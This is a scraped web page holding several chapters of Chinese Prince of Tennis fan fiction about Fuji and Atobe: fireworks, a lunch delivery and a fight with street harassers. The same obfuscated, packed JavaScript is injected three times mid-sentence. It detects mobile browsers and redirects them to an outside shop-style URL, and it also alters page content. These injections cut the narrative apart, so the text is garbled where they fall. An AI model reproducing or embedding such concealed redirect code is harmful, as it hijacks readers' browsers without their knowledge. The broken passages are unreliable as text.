不二点了点头,两个人转身朝老图书馆的方向走去。夕阳的光线在他们身后拉出两道长长的影子,交叠在一起,像是一对在暮色中漫步的恋人。 老图书馆的天台上,晚风温柔得不像话。 吃过晚饭的两人早早来到老图书馆天台静静等待稍后的烟花大会。迹部倚靠着天台的栏杆,不二则站在他身旁远远望着操场上的露天乐队表演。 从他们所在的位置可以清楚地看到操场上正在搭建的烟火发射区和周围聚集的人群,那些人在暮色中变成了一群移动的小黑点,声音被晚风吹散,只剩下隐约的人声与乐队表演声。 “迹部。”不二开口。 “嗯?” “你有没有想过,如果我们没有穿越过来,我们现在会在做什么?” 迹部想了想。“时间上现在应该已经入学高中了。虽然全国大赛输给了你们,但我会在假期中好好培养下一届网球部部长。而且……” “而且什么?” 迹部转过头看着不二,深蓝色的眼睛在暮色里显得格外深邃,“本大爷会比幸村精市更早向你约战,来一场堂堂正正、不受到任何影响的真正比赛。” 不二愣了一下,回想到原世界【规则】影响下的第一世轮回里,迹部与自己的那场对决。属实惨烈。 当时越前受到【规则】攻击沉眠不醒,自己眼睁睁看着越前倒下情绪失控,最终赌上生命在与迹部决赛赛场上对抗【规则】。 球场对面的迹部当时一定惊讶极了吧…… 对手毫无前因的托付、赛场上逐渐扭曲的空气、天空中突然出现的暗红色文字……以及比赛结束后口吐鲜血逐渐消失的对手…… 他对迹部其实是抱有歉意的,无论是无意间将他拖入【规则】的监视之中,还是第二次轮回时对抗【规则】失败后自己的死亡,或是第三次轮回最终决赛前迹部将他拦下的真情担忧。迹部都是如此真诚地重视着他,而他却带给了迹部太多痛苦。 “迹部,对不起啊……” 听见不二周助突然道歉的迹部景吾还以为是不二不想和他比赛,或是幸村精市已经比他更早约好了不二的时间。 “为什么突然道歉?其实我也没这么小气,幸村精市比我早约战也行,但你要答应我和他打完后马上到我,并且要和我打两场。” 不二也不想在这么美好的时光里让迹部回忆起那些黑色的回忆,他状似为难地说:“可能不太行……除了精市,越前、手冢以及真田都向我约战了。迹部你的话,应该只能排在第五位了。” “你……”迹部景吾忍不住伸手捂住自己的眼睛,停顿片刻后一声叹息,“算了,你什么时候有时间就找我。别忘了我们的约定就行。” “好的!” 当夕阳的最后一抹余晖在地平线上缓缓消失,取而代之的是深蓝色的夜幕和逐渐亮起来的繁星。 突然,第一朵烟花在夜空中炸开。那是一团金色的光,像千万颗细碎的星星同时迸发出来。天空成了一块巨大的画布,烟火在上面恣意挥洒。 紧接着第二朵、第三朵、第四朵……各种颜色的烟花接二连三地在夜空中绽放,把整个校园照得亮如白昼。 不二仰着头看着那些烟花,冰蓝色的眼睛里映着漫天的火光。他的嘴角始终弯着一个温柔的弧度,整个人的表情里只有纯粹的快乐。 他忘却了以往经历过的痛苦,忘却了突然穿越的迷茫,忘却了与家人朋友分离的思念,此时只有单纯的快乐。 迹部看着他,忽然觉得那些烟花失去了所有色彩。最好看的风景不在天上,而在他身边。 “不二。”迹部开口,声音在烟花的爆炸声中几乎听不见。 “嗯?”不二没有回头,眼睛依然盯着天空。 “本大爷在想,如果以后每年都能和你一起看烟火就好了。” 突然绽放的巨大烟花声遮盖了迹部的话,不二凑近迹部身旁想要听清迹部说了什么。“你说了什么?” 迹部景吾没有重复,而是伸出手轻轻地将不二额前被风吹乱的碎发拨到耳后。 不二没有躲开,而是任由迹部动作着。 他再次贴近迹部,眼神询问迹部刚刚说了什么。 “没事。”迹部收回手,“头发挡到你的眼睛了。” “哦,谢谢你呀。”不二转回头继续看烟花。 烟火大会持续了将近二十分钟。最后的烟花图案是一朵巨大的玫瑰,花朵在夜空中缓缓绽放,花瓣一层一层地展开,金红色的光芒照亮了整片天空。然后那些花瓣化作无数颗细小的光点,像星星一样散落在夜空中慢慢地消失不见。 人群发出一阵惊叹声和掌声,然后开始渐渐散去。不二站在原地没有动,他仰着头看着那些光点消失的方向,脸上带着一种怅然若失的表情。 “怎么了?”迹部问。 “没什么。”不二低下头,把手从迹部的掌心里抽出来,伸了一个懒腰,“只是觉得,美好的东西总是结束得太快。” 迹部看着自己突然空下来的手心,指间还残留着不二的温度和触感。 “但还会有下一次。”迹部说,“明年、后年、大后年……只要你想看,本大爷就陪你看。” 不二转过头看着他,忍不住用拳头轻轻捶了迹部胸口一拳。“迹部,你这个人真的很会说好听的话。” “当然,我可是迹部景吾。” 不二大笑出声,笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494685|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容在夜色里显得格外明亮。“走吧,回家了。” “嗯。” 两个人走下天台的楼梯,穿过老图书馆安静的走廊,穿过操场,走出校门。夜风吹过来带着一丝凉意,不二缩了缩脖子。迹部看了他一眼,把外套脱下来披在他肩上。 “穿上,别感冒了。” “你不冷吗?” “本大爷不冷。”迹部说。 不二没有再推辞,他把迹部的外套穿在身上。外套很大,大到把他的肩膀整个罩住了,袖口长出一截垂在手背上。 “你的衣服太大了。”不二举起手晃了晃,过长的袖口像蝴蝶的翅膀一样在风中扑扇。 “那是因为你太瘦了。”迹部看着他那副样子,嘴角忍不住翘了起来,“回去给你买几件合身的。” “不用了,穿你的就行。”他的衣服已经够多了,并且今天只是个意外。他没有想到烟花大会持续时间这么久,所以没有准备晚上穿的外套。 迹部的心跳因为这一句话又加速了。他看着不二穿着他的外套、袖口长出一截、在夜风中微微缩着脖子的样子,心里那个声音又开始喊了:他穿着本大爷的衣服,他说衣服穿本大爷的就行…… “迹部,车来了。”不二的声音打断了他的思绪。 “嗯,走吧。”迹部深吸了一口气,把那些快要溢出来的情绪重新压了回去。 他打开车门让不二先坐进去,然后自己绕到另一边上车。车门关上的瞬间,外面的喧嚣都被隔绝,只剩下两个人的呼吸声和引擎的低沉轰鸣。 不二靠在座椅上,眼睛半闭着,显然是在这一整天的游玩中感到了疲惫。他慢慢滑向了睡意的边缘,头随着车子的晃动轻轻摇摆,像一只被风吹动的小船。 迹部看着他的侧脸,路灯的光从车窗外面滑进来又滑出去,以致于在不二的脸上投下明暗交织的光影。 车子驶过一个弯道的时候,不二最终沉沉陷入睡眠,他的头彻底歪倒在迹部的肩膀上。 迹部整个人僵住了,他低下头看着不二的睡颜。平日里总是笑眯眯的双眼闭着,睫毛在眼下投下一片扇形的阴影,嘴角带着笑意,呼吸平稳而绵长。 他睡着了。 迹部保持着那个姿势一动不动,连呼吸都刻意放慢了。 “不二?”迹部轻声叫了一声。 不二没有反应,他睡得很沉。 迹部看着他,心底某个念头开始不受控制地发芽。在夜色的掩饰下,这棵嫩芽噗地一声长成了参天大树。 反正不二睡着了看不到,他可以把那些藏了一整天的、发酵了一整天的、快要把他撑破的情绪在这一刻全部释放出来。 他低下头,在不二的额头落下一个轻得不能再轻的吻。 车子继续向前,穿过港东市的夜色。不二靠在迹部的肩膀上睡着,迹部靠在不二的头顶上闭着眼睛。两个人的影子在车窗上重叠在一起,分不清哪个是哪个。 司机从后视镜里看了一眼,默默地把挡板升了起来。 24. 送餐 不二周助做了一个梦。 梦里他在一个巨大的云朵中休息,整个人轻飘飘的惬意得不行,就是头倚靠的那处不够软。 许是他嫌弃不够软的心声被听见了,一个调皮的小精灵突然出现,拿着个涂鸦印章在他额头上盖了朵花,湿湿热热的。 见他还是觉得云朵不够软,更多小精灵出现了。他们不服气地将他抬走移到一个更大更软的云朵里,气势汹汹地问他“这下够软了吧!”说罢还一个个气嘟嘟地将涂鸦往他脸上盖。 额头、眼皮、鼻梁、脸颊、嘴角……全脸除了嘴唇外都被盖上了涂鸦,又软又热,蹭得不二周助酥酥麻麻的。 偏偏往他脸上涂鸦的速度又慢,持续时间又长,惹得不二周助不知道什么时候开始什么时候停止,一直处于不上不下的状态。 不知道过了多久,那些小精灵终于是消气了,带着自己的涂鸦印章就走。不二周助没去管自己的脸被蹭得怎么样了,伸手想拉住一个小精灵让他们别走。 就当他要拉住时,梦醒了。 不二睁开眼睛,盯着黑暗中熟悉的房间天花板看了好一会儿,大脑像一台需要预热的老旧机器一样慢慢启动起来。 他刚刚是做梦了啊,很可爱的一个梦。 回想了一下今天发生了什么,又是什么时候睡着的。 最终不二得出结论,他在参观完学园祭回家的车上睡着了,估计是迹部将他带回了家。 他坐起来,拿起床头柜旁的手机看了一眼时间。晚上十一点十二分,睡了两三个小时。 不二醒了醒神从床上起来去洗澡洗漱,过程中还回味了一下刚刚梦到的可爱小精灵们。 第二天一早,不二周助对着窗外的景色伸了一个懒腰,欣赏完窗外美景后又给自己养的仙人掌们浇了浇水。 今天是学园祭最后一天,学园祭期间不强制要求去学校。加上接下来的周末,不二和迹部可以休息整整三天。 昨天迹部提前和他说了今天一天都不在家,公司需要他主持会议。 吃过厨师做的营养早餐,不二周助躺在阳台的躺椅上静静看书。时间一分一秒过去,当不二翻到书本最后一页时已经是十点了。 回想一下迹部说的日程安排,早上多个会议,下午线下实地考察,估计连个午休时间都没多少。 迹部最近越来越忙了。迹部财团的规模在迅速扩张,除了最初的金融投资领域,后又因为研究所陆续涉足了科技研发领域多钟项目。 公司的一系列事务多得惊人,但迹部从来没有在不二面前皱过眉头说累。 不过不二一切都看在眼里。 告诉厨师今天不用准备两人的午餐后,不二给迹部发了一条短信:“迹部大人,有没有兴趣尝一下我做的午餐呐~送餐上门哦~” 迹部的短信回得很快,他在短信里表示很期待,并叮嘱不二记得叫司机接送,到了公司一定要告诉他。 冰箱里食材丰富,不二在心里盘算着要做什么。 从切菜到调味再到烹饪,每一个步骤都做得一丝不苟。 无论是切面完美的玉子烧,还是色泽金黄的照烧鸡腿,或是清新爽脆的凉拌黄瓜,无一不精致可口。 他找出便当盒,开始了摆盘工作。米饭铺底,照烧鸡腿切成厚片,一片一片地斜着码在米饭上,鸡皮的焦糖色和米饭的白色形成鲜明的对比。 玉子烧整整齐齐地排成一列,金黄的颜色在灯光下泛着诱人的光泽。凉拌黄瓜则切成薄片绕在便当盒的边缘,像一圈绿色的花环。 不二盖上便当盒的盖子,想了想,又煎了份迹部喜欢的牛排。 等到一切大功告成后,他站在厨房里端详了一会儿自己的作品,颇为满意地点了点头。 换好衣服,不二拎着便当袋出了门。新家离迹部公司不算太远,司机接送十五分钟就到公司楼下。 不二抬头看了一眼这栋建筑,阳光在玻璃幕墙上反射出刺眼的光芒。 一进入一楼大堂,首先映入眼帘的就是背景墙上金属字镶嵌着“Atobe”的字样。这是迹部在这个世界建立的第一座里程碑。 不二每次来这里都会有一种不真实的感觉,几个月前这个人还在为付不起一杯咖啡而窘迫,现在已经有了一个正在迅速扩张的商业帝国。 推开玻璃门走进大堂,空调的冷气迎面扑来。前台的工作人员是一个穿着职业装的年轻女人,正在低头整理什么文件。听到有人进来立刻戴上职业微笑抬头准备接待,当目光落到来人脸上的瞬间,笑容完全变了。 “不二少爷!”她脸上的表情迅速从职业化礼貌变成了真切热情,“您怎么来了!董事长正在顶楼开会,我带您上去吧?” “不用了,我自己上去就行,不耽误你工作。”不二笑着示意了下手中的电梯卡。迹部给他授权了全权限,不仅可以直接刷卡到顶楼,还能随时前往秘密研究所。 听见不二拒绝,女人很识趣地没有继续跟着。 不二坐着电梯上行,最终电梯在顶楼停下。门打开的瞬间他看到迹部的秘书田中小姐正站在电梯门口,手里拿着一沓文件,显然是准备下楼去处理什么事。 看到电梯门打开,她先是条件反射地朝后退了一步让出空间,抬头看到里面的人是谁后她的眼睛立刻亮了起来。 “不二少爷!”田中小姐的声音比平时高了半个调,她把文件抱在胸前,侧身引导不二走出电梯。 “董事长正在开会,大概还有十分钟结束。您要不要先在董事长办公室等一会儿?我给您泡杯咖啡?” “好啊,麻烦你了。”不二说。 “不麻烦不麻烦!”田中小姐连忙摆手,领着不二往迹部办公室走去。 能当上董事长秘书的人都不是个没眼色的,况且还是得到迹部信任的田中小姐。 即使不二少爷在公司没有任何职位,但作为迹部的得力助手田中小姐多次撞见迹部悉心照料不二的场景。 不二对迹部的重要性不言而喻,加上不二少爷一看就惹人喜爱,田中小姐对不二的态度不可谓不好。 迹部的办公室在顶楼的最深处,门是可调节的透明玻璃门,上面用磨砂工艺印着“董事长室”的字样。田中小姐帮他推开门,一股淡淡的玫瑰香气扑面而来。 “您先坐,我去泡咖啡。”田中小姐说着退了出去,轻轻带上了门。 不二在迹部办公桌对面的沙发上坐下,把便当袋放下后环顾四周。 办公室整体走的简约风,但掩不住的奢华气息。迹部纯黑色的办公桌上除了电脑和文件,还摆着一张两人的合照相框。 田中小姐端着一杯咖啡走进来,把杯子放在不二面前。 “董事长今天中午本来只安排了二十分钟的简餐,突然告诉我不用准备午餐,原来是不二少爷送饭呀。看来要改成在办公室慢慢吃了。”田中的眼睛里带着笑意。 她说完就退了出去,把办公室的安静留给不二。 不二端起咖啡抿了一口,靠进沙发柔软的皮质靠背里。窗外是港东市的天际线,高楼大厦的玻璃幕墙在阳光下闪闪发光,更远处是港东湾那片蓝色的海面。 从三十几层的高度看下去,这座城市显得既庞大又渺小,庞大到你穷尽一生都走不完它的每一条街道,渺小到只需要一个窗口就能把它尽收眼底。 办公室的门被推开的时候,不二正盯着窗外出神。 “你怎么没打电话告诉我你到楼下了?”迹部的声音从门口传来,隐隐带着一丝雀跃。 不二转过身看到迹部朝他走来。他今天穿了一件深灰色的西装外套,里面是白色的衬衫,加上银灰色领带,整个人看起来像是在走时装周的T台。 阳光从落地窗涌进来落在他身上,为他紫灰色的头发镀上一层金光,外套的剪裁完美地贴合他宽肩窄腰的身材比例。 “饿了没?”不二没有回答迹部的问题,而是随手接过迹部解下的外套搭在椅背上。 “有点,做的是什么?”迹部的目光落在面前的便当盒上,好奇地凑近闻了闻。 “你打开看看呗。”不二推了推便当盒,语气里有一丝不易察觉的期待。 迹部打开便当盒,只见照烧鸡腿被切成了厚薄均匀的片斜着码在米饭上。鸡腿的焦糖料汁逐渐流淌到白色米饭上,香气扑鼻。 而玉子烧金黄色的切面完美得无懈可击,每一层的厚薄都均匀得像是用尺子量过的。凉拌黄瓜切成薄片绕在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494686|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便当盒的边缘,翠绿的颜色和照烧鸡腿的酱色形成了完美配色。 便当盒的第二层则是一份鲜嫩多汁的牛排,热气包裹着浓郁肉香直冲鼻腔,瞬间勾起食欲。 “怎么样?”不二凑过来,想看看迹部的表情。 迹部没有说话,他拿起筷子夹了一块玉子烧放进嘴里,片刻后又夹了一块照烧鸡腿咬了一口。 玉子烧蓬松柔软层次分明的口感让人欲罢不能,而照烧鸡腿的味道在口腔里化开,料汁比例完美得堪比五星级大厨。 “好吃。”迹部说。 他从不否认不二的强大,对不二的厨艺也绝不怀疑。 那双深蓝色的眼睛里此时像是什么东西从深处被点亮,像是对待珍宝般无比珍重地享用这份午餐。 “就这样啊?”不二歪着头看他,嘴角的弧度微微上扬。 “很好吃,是本大爷吃过最好吃的一餐。” “那就好。” 不二出发前吃过了,此时就靠在沙发上看着迹部吃饭,阳光从落地窗涌进来落在两个人身上。 迹部吃东西的样子很优雅,像是精通王室礼仪的王子。 吃完饭收拾好餐具,不二拎着空便当袋就准备离开。他不是一个喜欢在别人工作地方久留的人,而且迹部下午还有会事,还是早点走留给迹部更多午休时间好。 “就要走了?”迹部从办公桌后面抬起头来。 “嗯。我去附近逛逛,你先忙吧。”不二说着朝门口走去。 迹部目送他打开门,只来得及在最后时刻补了一句。“逛完给本大爷打电话,本大爷送你回去。” “不用啦。”不二头也没回地摆了摆手。 外面的阳光比他来的时候更烈了,明晃晃地照在柏油路面上,不二沿着公司附近的街道漫无目的地闲逛着。 路过一家家居用品店的时候,他的脚步不自觉地慢了下来。 这家店的橱窗布置得很有特色,原木色的货架上摆着各种陶瓷器皿,暖黄色的灯光打在那些碗碟上,质感温润得像刚出炉的面包。 不二推门走了进去,店里的冷气让他舒了一口气,空调的温度开得刚好。 他在货架间慢慢走着,看着那些精致的靠垫、毯子、地毯和装饰画。这家店的风格很对他胃口,简约但不简陋,每一件单品都有设计感但又不会过于张扬。 他拿起一盏台灯看了看,灯罩是米白色的棉麻材质,底座是原木色的,整体造型圆润可爱。又拿起一个陶瓷花瓶摸了摸釉面的质感,釉色是那种很淡很淡的灰蓝色,像港东湾阴天时海面的颜色。 然后他看到了一个抱枕。 那个抱枕被放在货架的中层,奶白色的棉麻面料,手感柔软而厚实,尺寸刚好能塞进他看书的那把躺椅的椅背弧度里。 抱枕的表面没有任何印花和刺绣,只有面料本身的纹理,干净得像是初冬的第一场雪。 不二把抱枕拿起来抱在怀里试了试。面料贴着脸颊的触感很舒服,不凉不热,像被一团云朵轻轻托住。 这个抱枕就是为那把躺椅量身定做的,不买对不起那把椅子,也对不起即将在那把椅子上度过无数个阅读午后的自己。 他把抱枕拿在手里,思考了片刻又把旁边的另一个抱枕也拿了下来。 迹部总是在办公桌一坐就是一天,下班后肩颈僵硬得像一块铁板。如果把这个抱枕垫在腰后,抱枕柔软的支撑面刚好托住他的腰窝,应该能感觉好受一点。 不二把两只抱枕一手一个抱在怀里。两只抱枕的手感略有不同,但颜色和尺寸是一样的,摆在一起像一对双胞胎。 一个稍微蓬松一些,一个稍微紧实一些,但放在一起就是天生一对。 他走到收银台前,把两只抱枕放在台面上。“你好,麻烦结账。这两只我都要了。” 在等待收银员包装时,不二拿出手机给迹部发了一条消息。“在你公司楼下旁边那家家居用品店买了两只很可爱的抱枕。” 接过包装走出店没多久,迹部的电话就来了。 只是映入不二耳朵里的不是迹部的声音,而是一个陌生的、油腻的声音从他身后响起。 “哟,这种大美人怎么一个人在这啊?” 25. 明悟 从家居用品店出来后,本着熟悉一下迹部公司周围环境的态度不二周助开始四处闲逛。他没看地图,而是顺从直觉漫无目的地走着。 街道的梧桐树冠交织成不规则的穹顶,把午后的阳光剪成了碎片印在道路上。 当迹部打来的电话铃声响起时,他才发觉自己走得有点偏了。 接通后还没来得及讲话,陌生而又油腻的声音从他身后响起。 “哟,这种美人怎么一个人在这啊?” 三个男人在他身后不远处站着,不怀好意地看着他。 打头的是一个穿着花哨夏威夷衬衫的男人,脖子上还挂着一条粗大的金链子。不过链子上有些微掉漆痕迹。 金链子身后的两个人一个穿着黑色紧身T恤,露出来的手臂满是纹身,另一个穿着白色背心露出全是肥肉的肚子。 不二转过身,金链子看清不二长相后先是愣了一下然后笑得更开了。那满嘴被烟渍染黄的牙齿以及巨大酒气让不二周助微皱眉头。 “哟,美人儿,怎么不走了?”金链子的声音沙哑而黏腻,像是喉咙深处含着一口痰,“是不是看见哥哥们后,舍不得走了?” 黑色T恤跟着笑了起来,笑声粗哑,像生锈的铁门被推开时发出的不适声响。 白背心没有说话,但他的目光在不二身上来回扫了好几遍,像是某种软壳动物在皮肤上缓慢爬行后留下黏腻液体般恶心。 不二站在那里,手里的便当袋和抱枕袋分别垂在身侧,表情平静没有丝毫慌乱害怕。“你们跟着我有什么事吗?” 金链子往前又走了两步,他的鞋底踩在路面上发出啪嗒声。“谁说我们跟着你啊,这条路是你家开的?我们走路也要跟你汇报?”他的语气故意带着一种痞里痞气的挑衅,身后两个人的笑声更大了。 不二没有接话,他分析着金链子的步伐、姿态、以及重心分布。 这人左腿在走路的时候有一个轻微的外撇,说明他可能小腿或者膝盖曾经受过伤且到现在还没有完全恢复。 三人都没有什么锻炼痕迹,只是白背心裤袋鼓起,不排除里面有武器的可能性。 “你一个人逛街啊?”金链子又往前走了一步,两个人之间的距离已经不到五米,“看你年纪还是学生吧?”他上下打量着不二,目光停留在他拎着便当袋和抱枕袋的手上,“还给家里人买东西呢?真是个乖孩子啊。” 面对三人的冒犯,不二没有动作而是继续等待时机。“你们是想抢劫吗?” 金链子被这句话噎了一下,然后爆发出更大声的笑声,弯腰时链子在胸前晃来晃去惹人心烦。 “抢劫?哈哈哈哈,瞧你这话说的,我们是那种人吗?”他直起身,用手背擦了擦笑出来的眼泪,“我们就是想跟你交个朋友,聊聊天,喝杯东西。你看你一个人多无聊啊,我们陪你不好吗?” 他朝身后的两个人使了个眼色,黑色T恤和白背心心领神会开始从两侧包抄。 说是三人配合包围,但显然几人没有把不二放在心上。在他们眼中看来,这个少年没有丝毫武力威胁,完全不值得认真。 不二在心里叹了一口气,虽然小时候也被误认成女生骚扰过,但再次遇见这种场面还是很无奈。 金链子又往前走了两步缩小包围圈,此刻他距离不二只有两米远。 看包围圈中的“猎物”没有反抗迹象,他伸出手缓慢地朝不二的脸伸过来,手指张开去捏住不二的下巴。 “别这么冷淡嘛,哥哥们又不会吃了你……” 就在他的手伸到一半时,不二动了。 他把手上拎着的东西放下,迅速用手掌根部精准击中金链子手腕内侧。金链子发出一声闷哼,伸出去的手像触电一样缩了回去,整个人捂着手腕踉跄着后退两步。 “你他妈……”他瞪大眼睛看着自己的手腕,那里已经通红一片。稍微移动还有股酥麻感,完全使不上力。“小崽子,你敢动手?” 见此情况黑色T恤从左边扑上来,反应比金链子快一些。他也许是三人中唯一一个真正打过架的,不过他的经验也就是从混混互殴积累出来的,毫无章法。 他抡起拳头直直朝不二的肩膀砸过来,动作大开大合,没有任何训练痕迹。 不二向左侧身,拳头擦着他的衣服滑了过去,布料发出轻微摩擦声。同时不二的右脚向前迈了一小步,把自己的身体嵌进对方的防守空档。右手肘顺势顶出,正中黑色T恤的肋骨下沿。 这一击的力度被不二控制得刚刚好,不会对人体内脏器官造成什么伤害,但足以让人失去行动能力。 黑色T恤发出一声闷响,整个人像一个被风吹折的纸人一样弯下了腰,嘴里不断发出又长又闷的痛呼。 白背心看到两个同伴在不到三秒内接连受创明显愣了一下,但他没有退缩,而是一咬牙从口袋里抽出一把折叠刀。 刀刃在阳光闪着亮光,大概有七八厘米长,足以对人体造成严重伤害。 “来啊,你不是很能打吗?”白背心的声音和他的体型不太相称,尖细而急促,像是被踩住了喉咙的鸭子。 不知道是因为酒精还是紧张,他的手在发抖,对着不二的刀刃在空气中微微颤动。 白背心握着刀朝不二刺了过来,动作完全没有章法,与其说是“刺”,不如说是“捅”。 刀刃直直地朝不二的腹部捅过来,像是要在他身上开一个洞。 这种攻击方式力道大但速度慢,不二侧身避开,刀刃擦着他的衣角过去在衬衫下摆划出一道细细的口子。 不二皱了一下眉,白背心的攻击已经开始不计后果完全失去理智了。 白背心一刀落空,重心不稳,整个人往前栽了一步。不二抓住这个时机右手扣住白背心握刀的手腕,拇指按在腕骨上方的凹陷处用力下压,左手掌根对准他的肘关节外侧猛地一推。 白背心的手臂被不二锁住,整个人被那股力道带着转了一圈,刀从手里掉落在地面上发出一声清脆的金属碰撞声。 他的肩膀关节发出一声令人牙酸的咯吱声,巨大的疼痛让他发出一声惨叫,整个人瘫软下去半跪在地上。 见自己的兄弟们全都被打趴下,刚爬起来的金链子嘴唇哆嗦了一下。他想说点什么场面话来挽回面子,但喉结上下滚动了两次,什么声音都没发出来。 地上躺着的黑色T恤还在捂着肋骨哼哼唧唧,白背心蹲在墙角托着自己那只脱臼的手眼泪鼻涕糊了一脸。 三个人的狼狈模样和几分钟前的猥琐嚣张样形成鲜明的对比。 不二弯下腰,把刚才为了腾出手而放下的便当袋和抱枕袋重新拎起来。他拍了拍袋子上的灰,转过身,准备离开这条巷子。 不二转过身的那一刻,看到了一个人站在巷口。 那人逆着光,午后的阳光从他背后倾泻而下,把他的轮廓镀上了一层刺目的金色,表情在背光的阴影里看不分明。 是迹部景吾站在那里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494687|202424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的手里还握着手机,屏幕上的通话界面发着幽幽的蓝光。呼吸急促得像刚跑完一千米,胸口上下起伏的幅度大到隔着几米的距离都能看得一清二楚。 肩膀随着每一次呼吸而剧烈地颤动,整个人像一架被拉到极限的弓,随时都可能绷断。 不二张了张嘴想说“你怎么来了”,但话还没从他的嘴里说出去,迹部已经动了。 他从巷口冲了过来。 不二甚至来不及说“等等”,迹部的双臂已经紧紧环抱住了他。 随即一只手扣住他的后脑勺,手掌紧紧贴着不二的后脑把他整个人护在怀里。 另一只手则箍住不二的腰,先是腰侧,然后向上滑扣在他的肩胛骨下方,把不二整个人往自己的方向带,像是要把不二揉进自己的身体里。 不二的鼻尖撞上迹部的胸口,衬衫的布料蹭着他的鼻梁,带着迹部身上那股熟悉的清香。 这个味道他闻过无数次,在厨房里、在客厅里、在车后座里、在新家阳台…… 只要迹部站得离他足够近,他就能闻到这个味道。但从来没有一次像现在这样铺天盖地地把他整个人包裹住,从四面八方涌过来像是要把他溺死在里面。 “有没有受伤?”迹部的声音从不二头顶传来,急促、沙哑。 这个声音和平时完全不一样。以往迹部景吾的声音永远是自信嘹亮的,带着一种“本大爷说得到就做得到”的笃定。 而此时的迹部景吾声音在发抖,甚至整个人都在颤抖。 不二认识迹部景吾这么久以来,从没见过他如此恐慌的样子。 在网球场上面对再强大的对手,迹部的手都不会抖一下。在公司里面对再复杂的局面,迹部也不可能产生害怕的情绪。 他是一个能把所有情绪都锁在内心深处的人,他的骄傲不允许他在任何人面前示弱。 但此刻他抱着不二的身体在持续不断、不受控制地颤抖。 “迹部,我没事……”不二的嘴被按在迹部的胸口上,说话的声音被布料闷住听起来含混不清。 “有没有受伤?!”迹部又问了一遍,声音比刚才更大了,也更哑了。 他不等不二回答,箍在不二腰上的手开始四处移动。从腰侧到肋骨,从肋骨到后背,从上到下、从下到上地摸了一遍。 那双手掌的温度隔着薄薄的衬衫传入不二心中,滚烫得像两块刚从火里取出来的烙铁。 不二被迹部箍在怀里,鼻梁被压得有些疼。他的耳朵被迹部的手掌捂住了半边,听到的声音像是隔了一层厚厚的水。 他听到混混们还在远处呻吟,听到自己的心跳声在胸腔里咚咚咚地响,听到迹部的焦急询问声从头顶响起。 两颗心脏在不同的频率上跳动,一颗快得像擂鼓,另一颗也快得像擂鼓,两颗擂鼓的心隔着两层皮肉和一层骨骼在对话。 不二从迹部的怀里挣扎着抬起头来,他看见迹部的眼眶红得厉害,仿佛下一秒就要流下泪来。他的嘴唇紧紧抿着,下巴的肌肉绷得像一块石头。 “迹部。”不二终于从迹部的胸口挣脱出一丝空间,他的下巴抵在迹部的锁骨上,仰起头看着迹部的脸。 迹部也低头看着他。 两个人的目光在不到十厘米的距离里交缠一起。从迹部的眼睛里不二看见的是一种从未见过的恐惧。 那一刻不二心底冒出一个念头。 迹部好像喜欢他…… 而且是很喜欢…… 26. 后怕 不二周助觉得自己可能是被迹部的怀抱箍得太紧导致大脑供血不足,才会产生这种想法。 迹部景吾喜欢他? 冰帝的帝王、那个把“本大爷”挂在嘴边的迹部景吾?那个在网球场上打出迈向破灭的轮舞曲、在公司里运筹帷幄的迹部景吾,喜欢他? 不二的第一反应是否认,但此时眼前迹部通红的双眼以及颤抖的双手无一不向他彰显着主人的真心。 不二被迹部按在胸口,耳朵紧贴着他的胸膛,那颗疯狂跳动的心脏激烈到不二无法否认其主人的爱意。 “迹部。”不二又喊了一声,语气中带着一丝迟疑。 “本大爷问你有没有受伤。”迹部终于勉强稳住自己的情绪,他将不二从怀中松开,变为双手握住不二肩膀。他的视线从上往下扫视着不二,检查有没有受伤。 “没有……我没有受伤。”不二犹豫着轻轻抚平迹部因为狂奔而来被风吹乱的发丝,安抚着眼前之人。“你看,我好好的呢。”他的声音放得很轻柔,生怕让迹部情绪失控。 迹部此时的状态很差,苍白的脸色却布满细汗。看着这张脸,不二心里的某个角落被什么东西狠狠地拧了一下 “你怎么来了?” “我在电话里听见了有人骚扰你。”迹部的每一个字都像是从牙缝里挤出来的,语气带着一丝狠厉。 不二低头看了一眼自己的手机,此时的电话还处于通话中。 刚刚应对那三个人的时候,他完全没有注意到手机没有挂断。这才让迹部知道这边发生了什么,才让迹部这么焦急地赶过来。 “我从你发给我的短信里得知了你的大致位置,一路跑过来,还好你没事。” 不二想象了一下那个画面,迹部景吾抛下一众下属从公司顶楼的办公室里冲出来,不顾众人的惊讶穿着昂贵的西装和皮鞋一路狂奔过三条街道。 “那几个人呢?”迹部的声音冷了下来,目光从不二身上移开,落在那三个还在哼哼唧唧的混混身上。注视地上之人的眼睛里带着不二从未见过的纯粹杀意。 